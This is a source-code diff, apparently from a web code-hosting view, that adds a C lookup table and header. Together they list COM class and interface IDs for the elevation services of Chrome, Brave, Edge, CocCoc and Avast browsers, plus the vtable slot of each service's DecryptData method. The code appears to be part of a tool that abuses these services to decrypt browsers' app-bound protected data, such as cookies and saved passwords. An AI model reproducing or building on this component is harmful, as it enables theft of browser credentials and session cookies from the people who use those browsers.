||||
{ 0x1BF5208B, 0x295F, 0x4992, { 0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38 } },
|
||||
},
|
||||
|
||||
// Chrome Beta — shares chrome.exe basename; the first table hit wins,
|
||||
// so this entry is effectively dead until registry-based channel
|
||||
// detection lands. Kept for reference.
|
||||
// CLSID: {DD2646BA-3707-4BF8-B9A7-038691A68FC2}
|
||||
// v1 IID: {A2721D66-376E-4D2F-9F0F-9070E9A42B5F}
|
||||
// v2 IID: {B96A14B8-D0B0-44D8-BA68-2385B2A03254}
|
||||
{
|
||||
"chrome.exe", BROWSER_CHROME_BASE,
|
||||
{ 0xDD2646BA, 0x3707, 0x4BF8, { 0xB9, 0xA7, 0x03, 0x86, 0x91, 0xA6, 0x8F, 0xC2 } },
|
||||
{ 0xA2721D66, 0x376E, 0x4D2F, { 0x9F, 0x0F, 0x90, 0x70, 0xE9, 0xA4, 0x2B, 0x5F } },
|
||||
TRUE,
|
||||
{ 0xB96A14B8, 0xD0B0, 0x44D8, { 0xBA, 0x68, 0x23, 0x85, 0xB2, 0xA0, 0x32, 0x54 } },
|
||||
},
|
||||
|
||||
// Brave
|
||||
// CLSID: {576B31AF-6369-4B6B-8560-E4B203A97A8B}
|
||||
// v1 IID: {F396861E-0C8E-4C71-8256-2FAE6D759CE9}
|
||||
// v2 IID: {1BF5208B-295F-4992-B5F4-3A9BB6494838} (same as Chrome)
|
||||
{
|
||||
"brave.exe", BROWSER_CHROME_BASE,
|
||||
{ 0x576B31AF, 0x6369, 0x4B6B, { 0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B } },
|
||||
{ 0xF396861E, 0x0C8E, 0x4C71, { 0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9 } },
|
||||
TRUE,
|
||||
{ 0x1BF5208B, 0x295F, 0x4992, { 0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38 } },
|
||||
},
|
||||
|
||||
// Microsoft Edge
|
||||
// CLSID: {1FCBE96C-1697-43AF-9140-2897C7C69767}
|
||||
// v1 IID: {C9C2B807-7731-4F34-81B7-44FF7779522B} IEdgeElevatorFinal
|
||||
// v2 IID: {8F7B6792-784D-4047-845D-1782EFBEF205} IEdgeElevator2Final
|
||||
{
|
||||
"msedge.exe", BROWSER_EDGE,
|
||||
{ 0x1FCBE96C, 0x1697, 0x43AF, { 0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67 } },
|
||||
{ 0xC9C2B807, 0x7731, 0x4F34, { 0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B } },
|
||||
TRUE,
|
||||
{ 0x8F7B6792, 0x784D, 0x4047, { 0x84, 0x5D, 0x17, 0x82, 0xEF, 0xBE, 0xF2, 0x05 } },
|
||||
},
|
||||
|
||||
// CocCoc Browser
|
||||
// Service: CocCocElevationService
|
||||
// CLSID: {77358251-489E-46F6-AAD6-1D41B89FEF01}
|
||||
// v1 IID: {0E9BCC98-8138-417A-83C3-4D4AAFED6316} IElevatorCocCoc
|
||||
// v2 IID: {7E26AA1D-1A19-4538-9780-D0B6A1A693E5} IElevator2CocCoc
|
||||
// (extracted via LoadTypeLibEx on elevation_service.exe)
|
||||
{
|
||||
"browser.exe", BROWSER_CHROME_BASE,
|
||||
{ 0x77358251, 0x489E, 0x46F6, { 0xAA, 0xD6, 0x1D, 0x41, 0xB8, 0x9F, 0xEF, 0x01 } },
|
||||
{ 0x0E9BCC98, 0x8138, 0x417A, { 0x83, 0xC3, 0x4D, 0x4A, 0xAF, 0xED, 0x63, 0x16 } },
|
||||
TRUE,
|
||||
{ 0x7E26AA1D, 0x1A19, 0x4538, { 0x97, 0x80, 0xD0, 0xB6, 0xA1, 0xA6, 0x93, 0xE5 } },
|
||||
},
|
||||
|
||||
// Avast Secure Browser
|
||||
// CLSID: {EAD34EE8-8D08-4CA1-ADA3-64754374D811}
|
||||
// IID: {7737BB9F-BAC1-4C71-A696-7C82D7994B6F} IAvastElevator
|
||||
{
|
||||
"avastbrowser.exe", BROWSER_AVAST,
|
||||
{ 0xEAD34EE8, 0x8D08, 0x4CA1, { 0xAD, 0xA3, 0x64, 0x75, 0x43, 0x74, 0xD8, 0x11 } },
|
||||
{ 0x7737BB9F, 0xBAC1, 0x4C71, { 0xA6, 0x96, 0x7C, 0x82, 0xD7, 0x99, 0x4B, 0x6F } },
|
||||
FALSE,
|
||||
{ 0 },
|
||||
},
|
||||
|
||||
{ NULL, BROWSER_UNKNOWN, { 0 }, { 0 }, FALSE, { 0 } },
|
||||
};
|
||||
|
||||
static char ascii_tolower(char c) {
|
||||
return (c >= 'A' && c <= 'Z') ? (char)(c - 'A' + 'a') : c;
|
||||
}
|
||||
|
||||
static int iequal_ascii(const char *a, const char *b) {
|
||||
for (; *a && *b; ++a, ++b) {
|
||||
if (ascii_tolower(*a) != ascii_tolower(*b)) return 0;
|
||||
}
|
||||
return *a == *b;
|
||||
}
|
||||
|
||||
const BrowserComIds *LookupBrowserByExe(const char *exe_basename) {
|
||||
if (!exe_basename) {
|
||||
return NULL;
|
||||
}
|
||||
for (const BrowserComIds *p = kBrowsers; p->exe_basename != NULL; ++p) {
|
||||
if (iequal_ascii(p->exe_basename, exe_basename)) {
|
||||
return p;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
unsigned int DecryptDataVtblIndex(BrowserKind kind) {
|
||||
switch (kind) {
|
||||
case BROWSER_CHROME_BASE:
|
||||
return 5;
|
||||
case BROWSER_EDGE:
|
||||
return 8;
|
||||
case BROWSER_AVAST:
|
||||
return 13;
|
||||
default:
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
#ifndef HBD_ABE_COM_IID_H
|
||||
#define HBD_ABE_COM_IID_H
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
typedef enum BrowserKind {
|
||||
BROWSER_UNKNOWN = 0,
|
||||
BROWSER_CHROME_BASE, // DecryptData at vtable slot 5
|
||||
BROWSER_EDGE, // DecryptData at vtable slot 8
|
||||
BROWSER_AVAST, // DecryptData at vtable slot 13
|
||||
} BrowserKind;
|
||||
|
||||
typedef struct BrowserComIds {
|
||||
const char *exe_basename;
|
||||
BrowserKind kind;
|
||||
GUID clsid;
|
||||
GUID iid_v1;
|
||||
BOOL has_iid_v2;
|
||||
GUID iid_v2;
|
||||
} BrowserComIds;
|
||||
|
||||
const BrowserComIds *LookupBrowserByExe(const char *exe_basename);
|
||||
|
||||
unsigned int DecryptDataVtblIndex(BrowserKind kind);
|
||||
|
||||
#endif // HBD_ABE_COM_IID_H
|
||||
Reference in New Issue
Block a user